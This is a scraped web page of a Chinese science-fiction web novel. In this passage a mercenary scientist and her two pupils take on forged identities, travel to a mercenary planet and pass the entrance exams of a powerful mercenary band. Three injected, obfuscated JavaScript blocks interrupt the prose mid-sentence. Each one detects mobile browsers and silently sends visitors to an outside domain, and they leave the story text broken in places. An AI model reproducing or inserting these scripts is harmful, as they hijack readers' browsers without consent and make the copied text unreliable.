流珠在蒙涟娜“听着呢”的眼神中接着说:“劳你帮我看顾这间店,我还得靠它养老。清洁机的电池三月一换,也麻烦你了,这东西是利比逖修好的,让它报废了,那祖宗指不定要怎么骂我。还有地下那些地方,她们肯定安排妥当了,但万一有属狗的乱刨,也麻烦你赶赶。” 蒙涟娜听完白眼都快飞到流珠脸上,嘲道:“你管这叫‘一件事’?倒像是我欠了你的。怎么不叫怪医做这些?她又没跟着跑了。” 流珠说:“她对物件没有对人那样的耐心。我已经拜托了她照顾那个老人。” 蒙琳娜咂舌,一脸不乐意地接下了流珠这些麻烦的“拜托”。 R蹲在舷窗边,张大了嘴望着外面的星群。 “看什么呢,一脸傻样。”安琪儿在她脑袋上拍拍,“老师说该你去睡觉了,要飞很久,我们轮着休息。” R还是看着外面:“星星,好近。” 安琪儿站她身边看了会儿,没看出什么特别的,把她赶去睡觉:“不就是星星,睡醒了你想看多久看多久。老师说用跳跃器会被发现行踪,要飞两个月呢,保证能让你看到腻、看到吐。” R躺进睡袋里还睁着眼睛想偷看,安琪儿从行李中抽了件衣服,用袖子把R的眼睛蒙上,心累地回伊冯身边汇报。 “越来越不乖了,让她去睡觉都这么费劲。我都快以为我是她妈了。”安琪儿趴在被移到角落的驾驶椅上嘟囔。 伊冯为了确保视野和能处理突发情况,让R和安琪儿把医疗舱装到操作台前,将操作系统和医疗舱相连。操作台前的驾驶椅拆掉放到一边,只当个座椅用。航行路线已经设定好,她这会儿泡在里面也没事干,只是望着星海出神。 安琪儿的抱怨没得到回应,趴在椅子上安静了会儿,突然又跳起来,翻出写字板,调出实验记录给伊冯看。 安琪儿说:“老师,我在做防辐射的药,但到这一步该怎么继续,我没有思路。你帮我看看好不好?” 伊冯这回分了注意力给她,把实验记录全部看过后,给她写了一条公式,让安琪儿再试试。 安琪儿把公式拷贝下来,在医疗舱前蹦跳着夸了伊冯一通,才抱着写字板去收纳着试验器具的区域试验。 终于安静,伊冯又将目光投向群星。 清醒着泡药液很不舒服,但R还没有独立处理事件的能力,安琪儿也不会驾驶,她只能强撑着不睡。 不知是水压,还是太着迷于在内网当“幽灵”的自在,她回到肉身后总觉得身体太重,四肢太少,拘束得像她还有几十只手几十只脚被捆在皮肉下,恨不能从躯干撕开口让它们出来舒展。 伊冯想叹气,一串气泡从鼻子冒出。她实在太无聊,见这串气泡升到顶部消失,又呼出一串,开始吐泡泡玩。 直到瞥见安琪儿过来,她才停下,肯定了安琪儿的实验进程后,又把人打发去做事。 独处时做的傻事一旦怀疑被人发现,很容易失去乐趣,并反思不久前的自己是哪根筋抽了。伊冯对吐泡泡失去兴趣,带的物资不多,她这么浪费氧气棒也不好。 失策了,她现在这样做不了实验,应该带些能打发时间的东西上来的。伊冯接着想到,她似乎从来都是靠做实验、做设备打发时间,这两件事都做不了时,便想不到其他有趣的事,实在无聊到心焦。 前方有块碎石,自动系统能识别避让,但伊冯还是手动操作避开,再飞回原路线。 既然无事可做,那就开飞行器吧。 航行在开阔地带的飞行器突然飞向近处的陨石群,在大小不一的杂乱石群中上下翻转左右腾挪。 飞行器内开了定向重力装置,不受剧烈的行动影响,因而安琪儿和R都没注意到伊冯在拿载具玩避障游戏。 可惜伊冯很快也腻烦了这种小游戏,于是接下来的行程中她为了解闷,便将唯二的同伴当作消遣。 “终于,到了……” 安琪儿趴在舷窗上看着下方的港口,声音发颤。她不是第一次经历长时间航行,以前为了省票钱,她还曾偷藏在□□慢航船的行李舱三个月,吃睡都不安稳。现在当然没有那时辛苦,有食物和为她准备的休息空间,是她最舒服的一次远行。 但是,她的精神受到严重的摧残! 这两个月时间里她除了吃饭睡觉都在做伊冯写的题,每道题都设了时限,没在限定时间内解开就要再多做三道题;好不容易掌握诀窍解得快了,伊冯居然说“时间还早,再做几道吧”然后猛地提升难度,直到R来轮替她才被放过。 在栖止跟伊冯学习做实验时,伊冯都让她不用急于一时,还没记住的公式现用现查也没关系,不清楚的步骤随时能问;实验结果不理想,伊冯还安慰她“不成功是成功的必经路”,就算因为操作错误而导致浪费材料,伊冯也只说不要有下次就放过她——但这两个月里,伊冯对她堪称欺压!对她解出的答案吹毛求疵,要么嫌她解题步骤写得不够具体,要么挑她写得啰嗦,甚至还挑她的字不好看! 安琪儿后来一听伊冯叫她的名字就觉得头皮麻,想方设法借口自己有事远离驾驶区。但伊冯怎么会放过她,安琪儿能找的借口不外乎有没完成的实验、用过的试管还没洗之类,飞船内部就那么大点,有什么不能在伊冯面前做的?最后她一次都没逃过,还被要求做着她借口要做的事,同时口头回答伊冯出的题。 这两个月她的脑子简直像被反复掏出来揉进去一堆知识点再塞回去,也终于意识到伊冯是自己无事可做才折腾她,终于能下船逃离这种被高强度上课的日子,激动得热泪盈眶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687416|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哇,和栖止截然不同!好多高楼大厦!”R也贴在窗上,感叹连连。 R这两个月当然也有被伊冯折腾,和安琪儿不同,R被强训了说话方式,有的是时间的伊冯将要求提高到播音员级别,纠正每个发音的发声位置、说话的抑扬顿挫,还有增加词汇量。 现在R已经不会有胡乱断句的低级错误,不看她高大健硕的外形,任谁听她说话都会以为是专业院校出身的温柔型播音主持人。 安琪儿斜眼看她,这傻大个倒受得住,每次她们轮换,她还要被R抓着分享今天又学了新东西。也难怪伊冯纵容她,毕竟只要是伊冯说的,让她做什么她都全当真理甘之如饴。 不对不对,R对谁都那样,因为傻才什么都当好的,老师肯定看得出来。她可是老师的第一个学生,才不会被比下去!安琪儿摇摇脑袋把多余的想法晃掉,转头去看伊冯。 伊冯刚从医疗舱出来,拿干洗剂清理了身上残留的药液,擦干头发穿上衣服。整理好自己的穿着,伊冯从放实验室成品的箱子里拿出两个巴掌大的盒子。 “你们把里面的东西戴上。”伊冯把盒子分别交给安琪儿和R,“从现在开始,安琪儿,你是‘安雅’;R,你是‘黄琳’。出了栖止,到处都要频繁使用终端,有合法身份会方便很多。” 安琪儿打开盒子,里面是一个终端手环和一张人皮般的东西。 伊冯拿过安琪儿手里的终端,让R记住戴法,帮安琪儿戴上终端,把着安琪儿的手教她们基础用法;再让安琪儿坐在椅子上,把那片皮贴上她的脸。 安琪儿扭头看舷窗,窗上倒影出的人有几分陌生,回头,R坐在地上仰着头让伊冯为她贴上假面,也变了样子。 她俩易容后的样子都和原来有六七成相似,要接受镜中新人是自己倒是不难。 安琪儿摸着脸上仿佛原生皮肤般贴合、没有存在感的面具,望着伊冯问:“老师的呢?” 她不确定自己是否真的问出声,因为她也不知道自己究竟是想问什么,是伊冯有没有给自己准备假身份,还是想知道她的老师现在的脸和名字是不是真的?对方没有回答,应当是她没问这个傻问题,毕竟她和R是没有合法身份才需要假身份,老师和她们不一样。 “本来应该早点给你们,让你们适应。但我在医疗舱里,让你们自己戴,万一弄坏了就糟了。我特意选的和你们外貌相像的身份,叫错名字也没事,解释是外号就行。”伊冯反复检查她们脸上的面具是否完美贴合,确认无误后,走回驾驶台将飞行器降下。 她决定要离开栖止,自然是已经选好了目的地:位于东盟边缘,恣睢星域的北睚星。 做独行佣兵虽然自在,有麻烦时要处理也更费精力。那些被煽动的佣兵不过是看中传闻里带走蓝金的都是独行佣兵,想要赌运,赢了大赚,输了又能亏到哪去? 至于研究塔,她见识到研究塔有些上不得台面的动作,既然是上不得台面,她反而不能太藏着太低调,方便她们下手。 成为某个高调的佣兵团成员,她的行动便会被归于团体,难以聚焦到个人。 至于被她选中的佣兵团…… 飞行器入港停靠好,伊冯打开舱门,叫上还对着终端和新脸新鲜的俩人,说:“走吧,去我们的新地盘。” 44.报名 恣睢系常年频发太空风暴,只有中心区域较为稳定地不受风暴影响。恣睢中心被称为“风眼”,位于其中的三颗行星与一颗恒星也以“眼”得名。位于风眼两端且极为相似的两颗行星共用“睚”字,被称“首睚”与“尾睚”;绕风眼中心运动、公转速度最快的一颗行星得名为“睑”;最大最稳定并为恣睢星域提供光热的恒星,命名为“睛”。 伊冯三人降落的港口位于首睚北部大陆,是该星球上唯一的空港。大部分人类聚集居住的行星上都只设置一个空港,毕竟有空间跳跃器,想转乘到星球哪个位置都很方便,没有必要多建港口。流量大的星球,会在近地卫星上修建中转站,缓解本星空港压力。 恣睢在东盟边缘,外围又常有太空风暴,内部虽有首尾睚两颗可供人类居住生活的行星,但没有突出资源,星盟那么多宜居星球,何必千里迢迢来这里。因而无论是官方还是民间,这里都不算受欢迎。 直到佣兵在这里聚集。 成团的佣兵需要一定区域作为固定基地,这种官方不重视、平民不愿住的地方,慢慢成了佣兵的“天堂”。东盟方面的态度是,只要佣兵们不违法、交够了土地租用金,把这里搞成佣兵主题乐园都可以。 伊冯她们下了飞行器,身边经过的全是武装齐全的佣兵。和栖止里那些不入流的痞子佣兵不同,这些佣兵的装备几乎赶得上正规军,可以轻易从同制式的武器、衣着看出哪些人是一团的。 安琪儿不自在地揪着衣角,往伊冯身后躲;R体型大,每走几步就撞到人,道歉却只得到对方轻蔑的眼神。 伊冯全不在意,只管往前走,安琪儿和R怕跟丢了,不敢多看周围,紧跟上她。 出了繁忙的港口,大量人群逐渐往同一方向流去,伊冯则带两人往反方向走。 身边的人少了,安琪儿总算自在些,问伊冯:“老师,怎么好多人都是往那边走?那边是去哪里啊?” 伊冯说:“追龙佣兵团的基地。我们明天也要去那里,去之前,先吃饭休息一晚。” 听到吃饭,俩人齐声欢呼,在太空吃了两个月压缩食品,总算能换换口味了。 出港口不远的位置就有提供餐饮的旅店。三人直接进最近的一间店。 等餐时,伊冯顺便把房间定好。能住单人间最好,但她不放心另外两个人,刚到陌生的地方,还是住一起方便照看。 伊冯对于开在出港位置的店没有期待,做佣兵这些年她没少在这类地方吃饭,从食材调料到烹饪手法,都只维持在不会被告上法庭的程度。 这次的消费果然也没给她意外之喜,都是二次加工的预制品,味道和口感只比塑料好些。 伊冯习以为常地大口吃下面前餐盘里的东西,安琪儿面有难色地放下勺子,和表情茫然的R一起看着伊冯吃。 R说:“老师,饭是硬的。生米没有煮成熟饭?” “这种店里的基本都是这种品质。也对,给你换了食管后你都是吃蒙涟娜店里的饭,压缩食品对你而言都不适口了。”伊冯吃完自己盘中的饭菜,喝了一杯水继续说,“我们不是出来度假的,在外会有很多连这种食物都吃不上的情况,要生存就要让自己在什么环境都能适应。” 她用眼神示意二人拿起餐具,说:“这些虽然不好吃,但营养成分达到了人体一餐所需,吃完,不要浪费食物。还有,你们以前吃饭都狼吞虎咽,正好趁这机会学会细嚼慢咽,嚼得够碎,吞下去就不觉得硬了。” “我还以为我再也不会吃这种石头饭了……”安琪儿低声念叨着,不情不愿地拿起勺子。 R比安琪儿还抗拒,她使用时间还不长的口腔和食道对粗粝的接触很敏感。但伊冯把话说得这么清楚,R明白伊冯是为自己好,只能舀起食物放进嘴里,仔细嚼烂几乎成汤了,再往肚子里吞。 煎熬的一餐终于结束,二人迫不及待地跑出餐厅。 安琪儿:“老师,我们的房间在几楼啊?我来按电梯!” “三十五。”伊冯瞥了眼装作对头顶吊灯感兴趣的R,抬手在终端上轻按,“我把开门码发给你们,我要出去一会儿,你们先去房间。” 二人忙不迭地点头表示没问题,不等伊冯走出旅店,就小跑进电梯上楼。 “我还以为下了船折磨就结束了,”安琪儿扶着电梯内壁哀叹,“老师以后都要这样,从各种角度折磨我们吗?我们今晚不会是睡地板吧?” R嘴上说着相信老师都是为她们好,但五官已经因为担忧皱巴在一块。 二人从电梯出来,在三十五层找到和开门码上一致的房间号,扫码打开门进房。 房间倒是出乎她们预料的好,宽敞明亮,所有东西都像镀了金,闪闪发光。 “我的个乖乖,老师花了多少钱啊!” 安琪儿刚感叹了一句,R突然拽了她一下。 R说:“只有一张床。” 安琪儿看着被R指着说是“床”的沙发,拉着她的手把人拉低,在R脑袋上弹了一下,笑她:“傻子,那是沙发。这是套间,睡觉的房间在里面。” 她拉着R去打开里面的几个门,有三个卧室,两个卫生间,还有小厨房和两个阳台。 R看到卧室就开始两眼放光,越看越压不住兴奋:“这里是我们的新家吗?” “当然不是,这是旅馆,每天都要很多钱。”安琪儿回到客厅,“你没听老师说吗,我们明天要去追龙佣兵团的基地,我们会住在那里。” “那里会更好吗?” “当然!”安琪儿把自己陷在柔软的沙发里,“追龙可是三大佣兵团之首,最强最有钱的佣兵团!我以前就听说过,追龙很难进,要加入得通过难度很高的考核,只是缺钱想进去混吃的人她们不会收。我就知道,老师把什么都考虑好了!” R在她身边坐下,被下陷的柔软坐垫吓到弹起来,小心翼翼地坐下去,用手在两边摁下松开,看着坐垫印出手的轮廓又恢复原样。 R说:“比我的床还软,沙发不能用来睡觉吗?” “你想睡也行啊——就是你这么大个子,它装不下吧?” 见R遗憾地撅着嘴,安琪儿大笑出声。 门从外被打开,伊冯抱着一个纸袋进来,见她们都瘫在沙发上,问:“怎么样,能适应吗?” “太能了!”安琪儿蹦起来去帮伊冯拿东西,“这套间很贵吧?” “就住一天,能贵到哪去。”伊冯把纸袋给安琪儿托住,打开封口,从里面掏出一包东西丢给R。 R捧着手里纸包的一团东西,不解地看着她。 伊冯说:“不饿吗?我买了些三明治和饭团,吃到饱为止。剩下的我们明天当早餐。” R的脸立刻红了:“老师发现了?” “废话,平时五六碗都不一定饱的人,今天才吃了一碗。你以为你不看我,我就看不到你了?”伊冯拿出一瓶牛奶拧开喝,“这家的饭是太差了,以后去别家吃。” R一脸幸福地傻笑,打开手里饭团的包装往嘴里塞,还没吞下去就忍不住说话:“好吃!和赛涟娜的菜好像,又不太像……口齿留香,美味!” 安琪儿扑过去抱住伊冯一只手,叫道:“我也要吃!我的嘴巴和胃需要补偿!” 最终三人靠超商里的包装食品完成了“吃顿好的”计划,久违地用清水洗漱,在软硬适中的床铺上好好地休息了一晚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692863|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 第二天,伊冯先带安琪儿和R去最近的佣兵中心注册佣兵身份。 R已经摸着掌心的佣兵徽章有半小时了,安琪儿笑她要把花纹磨平了,才恋恋不舍地把徽章用方巾包住收进口袋里。 伊冯教她们,会把佣兵徽章露出来的都是没任何经验的新人,会被老佣兵盯着坑,所以她们拿到徽章都收起不戴。此外,伊冯还偷偷提点她们:徽章里有政府的定位器,没事的时候把徽章揣身上不影响什么,“不方便”的时候要记得“不小心”把徽章落在某个角落,反正真弄丢了也能交钱补。 有了佣兵身份,伊冯再教她们用终端在网上找到追龙的站点,提交报名表。 网站报名会有初步筛选,正常有登记在册的佣兵都能通过,半小时内会收到内有选拔时间的通知,在通知时间内到指定地点参加现场考核即可。 伊冯和安琪儿的选拔时间被安排在十四点到十六点,R则在二十点到二十四点。时间隔得不算太远,三人便一起去了。 追龙的基地修建得不高调,很常规的白色调建筑群,高度相比来说算低,最高的一栋楼不过两百米。 东盟对在首睚星上聚集的佣兵虽然限制不多,收钱可毫不手软,一年租金就能让许多佣兵团掏空大半积蓄。建造基地的佣兵团为了充分利用地皮,都往高了建,这让首睚星上过三百米的高楼随处可见。于是建矮楼反而是在炫富,证明自己有钱能租更大面积的地皮,不用在一块地上过多叠加。 追龙基地正门前有一块广场,此刻被人群填满,只有中央一块巨大的龙首雕像没被淹没,尚能起到方位标记的作用。 伊冯远离人群站在外围,她不想去人堆里挤,但看这阵势,想等到人少的时候再去是不可能了。 她拉住也满脸嫌弃不想进去的安琪儿,拍拍R:“‘黄琳’,要辛苦你了。” R还没习惯自己的新名字,但被伊冯一拍还是反应很快地点头。 R把双手围成圈,把伊冯、安琪儿护在手臂内,侧着身子挤进人群。仗着体型大、有力气,半步没停地直接穿过广场,带着二人到了入口。 入口有追龙的人检查选拔资格,要出示终端信息和通过初审的邮件证明。R正过身体展开双手挡住后方的人,让俩人可以从容地配合核对信息。至于后方被挤得东倒西歪破口大骂的人,这三人没一个在意的。 负责检查的两名追龙成员见怪不怪地完成自己的工作,让她们进去。 未到对应选拔时间的不能提前入场,伊冯摸摸R的头夸她刚才把她们保护得很好,让她先出去,到时间了再过来。 伊冯指着终端提醒她注意时间:“你就站到那个龙首雕像下等着,不要错过了。” 安琪儿也跟着用力揉了R的头发:“不要乱跑啊大块头!” R笑呵呵地顶着头乱毛分开人群出去了,她走得顺畅,周围好不容易站稳的人又被她挤开,让伊冯听到许多新鲜的咒骂词汇。 R很快站到龙首雕像下,转身冲她们挥手。 没人墙挡着,站在入口的伊冯和安琪人很快被人群往里推,只能迅速进门。 进门后依然热闹,只是因为通道两边有维护秩序的追龙团员,人群不再胡乱挤作一堆,可以慢慢往前走。 “我只羡慕她这一点。真好啊,那么高大。”安琪儿看着自己因为多年营养不良而纤细的胳膊,“走在那么多人里也能完全不晃。” 伊冯正要回应她,却被身侧的声音打断。 “这不是利比逖吗?”走在她身边的人神情鄙夷,“不是说做独行佣兵自在,不想加团吗?不会是没本事守住那些蓝金了,来找靠山吧,还是想到追龙也偷点什么?” 45.考题 伊冯从记忆里翻出面前这人是谁,某次任务临时组队过,但完全没有交流,她连对方的名字都没记。 听到“蓝金”这个关键词,周围的人都被吸引了注意。只要没断网,哪个佣兵会不知道那个某独行佣兵私吞了十几斤蓝金的传闻。 人群喧噪,后方的想靠近见识流言正主的真容,前方的也想向后看个究竟,两边维持秩序的声音全被盖过。 最早叫破伊冯身份的那人突然发出尖叫,浑身痉挛着瘫倒在地。 突然的变故,让因为传闻中的蓝金而头脑发热的佣兵们恢复冷静,默默离伊冯远些。 那人倒在地上涕泪纵横地抽搐了好一会儿,终于平静,表情茫然地慢慢爬起来。 站在近处的追龙团员催人群往前走,不要拥挤,并警告道:“私斗的将取消选拔资格,请各位注意。” 伊冯事不关己地拉着安琪儿继续往前走,就算谁都能猜到是她做的,但没有证据,能拿她如何?加上那人站起来后行动正常,只是后怕地离她远了许多,想讨医药费都欠说法。佣兵间这种挑衅后被教训的事多了,没人会闲着揪住不放。 之前要和人争执却被伊冯拉住的安琪儿还没消气,瞪着每个还往她们这瞧的人,忿忿道:“我们要真有那么多蓝金,刚才就能一炮把这些传谣的轰了!那么多蓝金能做多少设备啊,还用心疼什么损耗!” 她刻意说得大声,周围的人只能控制着不看她们,蓝金的问题先放一边,那无声无息让人当众出丑的手段可没人想尝。 伊冯也由着安琪儿嚷嚷,她不习惯用骂人出气,但听别人替自己骂也觉得畅快。 走出通道,是一个中庭,有三个门开着,门边立着牌子,分别写着“技术部”“后勤部”和“外勤部”,指引应试者按报名的相应岗位进入参加考核。 伊冯和安琪儿报的技术岗位,走向左边的门。 见伊冯不是去外勤部,不少人暗自松了口气。佣兵的“外勤”大多时候都得依靠武力,考核自然免不了打擂台,不用对上手段不明的厉害对手,心中不免庆幸。 伊冯报技术岗,一是她身体还没好,二是不想过分暴露她的定影。之前和追龙的柯查尔接触过程中,她以“伊冯·阿吉斯”的身份用过定影,柯查尔是个比表面上看起来更精明的人,她不能赌柯查尔的观察力和记忆力不够好。 “技术部”的考核场所是一个个独立隔间,伊冯直接按引导员的指示进去,想多和她说几句话的安琪儿见她这么干脆,只能也转头进了安排给她的隔间。 隔间内只有一套桌椅和一块屏幕,在检测人员进入后,入口上锁,屏幕上出现考题,做完一题再出现下一题,不能跳过或回头更改。 这些题目对于伊冯都太简单,屏幕上的题刷新得很快。但慢慢的,伊冯放慢了答题速度。 不是题目开始对她有难度,而是她发现题型很杂,不像是专门为了筛选定向人才而设计的。许多问题的解题思路都有一个共性:背后的出题人似乎在假设存在某种可以诞生智慧生命的能源。 与研究塔以人体制造能源的研究有着微妙的区别。至少在这些题目中,出题人总是先假定存在某种能源,再假设那种能源可以孕育智慧生命,与研究塔所做的有根本的不同。 这不是一个为钱财奔波的佣兵团会去探究的问题。 佣兵团建立自己的技术部,一般只是为了能自行改装武器、制造常用药品和建立安全私密网络空间,最终目的都是为了方便接下更多订单,完成更多任务赚更多钱。 探讨生命的奥秘,是个要大量烧钱且可能永远得不到回报的研究。 伊冯倒想看看出题人是否真有她猜测的野心。她又恢复极快的答题速度,十几道题刷新后,出现的题目越来越不加掩饰,伊冯的猜想被证实,出题人试图研发出可以产生思想的人造能源,并把研发中遇到的疑问放在了这套考题中。 再度刷新后,伊冯看到的不是题目,而是一行手写文字:我无比期待和你见面,我的同伴。姬以风。 伊冯看着落款的名字,出题人在用这种方法找能和她一起进行研究的人吗?能在考题里做这种设计,应该是追龙的高层管理人员。这倒是意外之喜,她能感受到出题人对自己研究的执着和狂热,这也确实是个有趣的课题。她很乐意参与其中。 伊冯走出隔间,安琪儿已经在等她,见到她就开心地扑过来。 安琪儿说:“老师怎么这么慢?我差点以为老师先出去了呢!” 伊冯问她题目,安琪儿大概报了几题,说:“比老师出给我的题目简单多了!” 果然,如果没有发现出题者的目的,并在答案中回应,就无法触发她后来看到的那些。那位出题人还没求贤若渴到把自己的研究思路展示在门槛这么低的考核中。 伊冯没多说,和安琪儿一起从另外的出口离开。 R站在她们进去之前看到她站的位置,一步也没挪。见到二人,欢快地挥着手跑向她们。 见人群又被她搅乱,安琪儿很不厚道地大笑。 “老师!安雅!你们通过了吗?”推着人群跑出来还是费了些力气,R脸颊发红,问她们。 安琪儿回她说:“要等通知。要检查那么多人的答案,可能得好几天才有结果呢。” 伊冯看了眼时间,刚十八点,离R的考核时间还有两小时,这点时间离开去做什么也不够。 于是拉着俩人到不会挡着出口的地方,三人围成一圈盘腿坐下。伊冯从口袋掏出早上出门买的点心,另两个人口袋里也装着不少零食,都拿出来一起分着吃。 三人小团体像是把追龙大门口当野营地了,看得那些艰难地挤着等进场的人牙痒。旁观的人中有些认出伊冯的,又是一阵哗然。 按理说追龙的人应该来把这行事随便的三人赶走,但走出来的一队追龙只往那扫了一眼,就聚在一堆闲聊了。 “吵什么?你们要是想挤过来休息也行啊,觉得自己还能及时挤回去参加选拔就行。”出来的小队领头声音洪亮,压住那些嚣杂的声音,“再提醒一遍,胡闹的取消资格,别在追龙的地方找茬生事,我们这不是只看拳头大小的地方。” 伊冯抬头看了那人一眼,是柯查尔。真巧啊。 柯查尔吼了一嗓子后,继续和队友们聊天。 “你是看中了吧?我就知道,你来当负责人肯定是想抢先下手挑走好苗子。” 柯查尔说:“都是自家姐妹,好苗子在我那跟在团里其他地方有区别吗?” “少来,是谁之前没抢过六队,耿耿于怀念叨了俩月?” 柯查尔捂住队友的嘴:“往事休提啊,给我留点脸,这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696978|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多外人。” “不过啊,”说话的这个压低声音,凑近柯查尔,“你真想要那几个?看起来就不好管,还背着些不好的传闻。” 柯查尔往伊冯三人的方向看,故意把视线停在伊冯身上,等到伊冯无法忽视她的视线回头,才开口说:“传闻里不是两个独行佣兵吗,其中一个还是男的,这小团体哪里和传闻对得上了?” 她的声音洪亮,不用特意提高音量也能让很多人听到她的话。 伊冯听得出柯查尔是在给她解围,没收回视线,也盯着对方,直到柯查尔可以理所当然地顺着她的目光走过来。 柯查尔不见外地在伊冯身边坐下,说:“初次见面,我是追龙第三支队的队长,柯查尔。三位怎么称呼?” 安琪儿因为柯查尔坐在她和伊冯之间而没好脸色,起来绕一圈挤到伊冯和R之间,R对陌生人更是不会主动,只有把人招惹来的伊冯应付她。 伊冯分别指着自己三人说:“利比逖,安雅,黄琳。” 柯查尔继续单方面热络地问:“你们都是报的什么?将来或许就是队友了,和我说说没关系吧?” 伊冯啃着一块饼干回答她:“我和安雅是技术岗。黄琳还没到时间,她是外勤。” “太好了,我们技术部一直缺人。几位看着都是有真本事的,肯定能进。”柯查尔看了眼R,委婉道,“只不过,我们也不是报了哪个位置就只能去哪里,考核中我们见到合适的,会分到更合适的岗位上。” “你是想说她不适合去外勤。”伊冯吃完饼干又打开巧克力的包装,“外勤经常有真空环境行动,大体型在太空活动中很不讨好,再多的肌肉跟机甲的力气也没法比。就算她通过选拔,与其给她这样的大体型专门做身装备,还不如让她去后勤搬箱子。” “我是想说……” 伊冯丢给R一块糖,说:“该入场了。” R接住糖吃了,利索地跑向入口,当然又弄倒了一片拥挤的人群。伊冯见柯查尔没什么反应,心说:果然。 聚在这里的可不是普通人,作为来参加选拔的佣兵,这么轻易被弄倒,已经被这些高傲的大型团成员看轻了。 伊冯吃得差不多了,安琪儿也吃不下了,把包装袋叠好塞进口袋。左右无事,伊冯拿终端给安琪儿出题做。安琪儿见她又拿这事打发时间,本有些不乐意,瞥见柯查尔还没走的意思,反而来了劲。 柯查尔听到她的好队友在背后偷笑,仍然坐得住,反正外勤的选拔耗时不长,她就在这一起等着人出来再说。 相比做题的选拔形式,外勤部的擂台式选拔简单直接得多,合格与否当场就知。守擂的是追龙的正式成员,双方不使用武器,能将追龙成员逼到台外的就算通过。 R虽然反应速度不算快,但体型在那,一力降十会,再加上伊冯有教导过她基础对战技巧,能通过选拔是预料之中的事。 不过就像柯查尔说的,只是能打下擂台,不代表一定能进追龙的外勤队伍。 R出来后被安琪儿故意大声地夸得脸红,伊冯检查她身上没有伤后,也简单夸了几句。伊冯回头,见柯查尔还是用有些担忧的眼神看着她们。 “不劳费心,”伊冯毫不领情,“你们会发现她有多合适的。” 伊冯看向R的眼中带有自傲,这可是她的作品。 46.墨盒 柯查尔这么努力释放友好信号,看在她们得做一段时间团友的份上,伊冯没有立刻带着人离开。过了一会儿,柯查尔果然来邀请她们一起吃午饭。 饭桌上,安琪儿和R只管低头吃,追龙财大气粗,选的饭馆质量很不错,比赛涟娜店里的味道都要好得多。 柯查尔抛出几个话题都没人理,看起来负责对外沟通的伊冯也是个话少的,只偶尔提醒两个同伴多嚼几口再往下吞。 追龙的人见这三个爱搭不理,除了柯查尔都没那好脾气伺候,就自己聊自己的。 但因为桌上有疑似话题人物的伊冯,话题不知不觉又歪到蓝金上。 “听说有人还带提取装置过去,想从爆炸余波里提取蓝金,连点蓝灰都没捞着。得是什么样的运气能从那场爆炸里捡到十几斤?” “金发的妹子,你是叫利比逖来着?” 被点名道姓,伊冯抬头看去,对方装不在意地问她:“是不是因为你在独行佣兵里本来名声就不小——我们都听说过你机械技术很好,队长以前就琢磨过怎么把你挖过来——怎么都把传闻里那个拿走蓝金的人往你头上套?” 伊冯点开桌面上的菜单加了几个菜品,承认她就是那个话题人物。 没想到她这么干脆,追龙的赶紧追问:“你也见到那些蓝金爆炸了?究竟是怎么炸的?” 伊冯直接跳话题:“你们最想问我的,是我有没有拿走那些蓝金。我说没有,你们信吗?” 可疑的沉默中,柯查尔接话说信。 伊冯笑说:“那还有什么问题?” “那个布莱恩我们也有过几次往来,你做了什么让她要这么整你?” “这么问,就是不信我了。”伊冯咀嚼吞下一块肉,然后说:“那些蓝金是否存在,不重要。重要的是,我加入追龙,会有很多人认为是我没能力守住那些蓝金,所以拿蓝金当投名状。在那些人眼里,会是追龙得到了那些蓝金。” 柯查尔问:“祸水东引?” “大量的蓝金对个人是祸源,对组织可不是。”伊冯看着柯查尔,“追龙这点风险都担不住?” 柯查尔和伊冯对视几秒,大笑着伸出手:“欢迎你们加入追龙。” 伊冯握住她的手。 安琪儿急急将口中的东西吞下,向柯查尔确认:“你的意思是我们不用等选拔结果,现在已经是追龙佣兵团的一员了,对吧?” 柯查尔认真地点头,让她放心。 既然加入,那就算是自己人了。同桌的追龙成员一改之前略带试探的态度,告诉伊冯三人,再有人拿那个传闻烦人,打个招呼,姐妹们一起去把嚼舌根的锤烂。 伊冯接下了她们这番好意,虽然她习惯单打独斗,但要是有人愿意代劳,她也乐得省力。 柯查尔让伊冯加她的通讯号,她把临时通行码发她们。 柯查尔说:“你们的飞船还在港口吧?下午去停到我们的停机场里,我一会儿去叫人把你们的宿舍安排好,今天就可以收拾住过来了。” 伊冯把通行码打开看了眼,虽然是临时的,但加密做得很仔细。她第一次离家出走破解追龙的程序时,就知道追龙里有电子技术水平很高的人,如今久违地接触到追龙,发现她们的网络安全工作又上一层。 这让伊冯想起另一件事。 伊冯问柯查尔:“你认识‘姬以风’吗?” 柯查尔对这个名字毫无反应,问:“你在找人?需要我让人帮忙留意一下吗?” 同桌追龙的各位听到这个名字,都是陌生的态度。 “……不,不是要紧的事。” 伊冯将话揭过,继续吃饭。 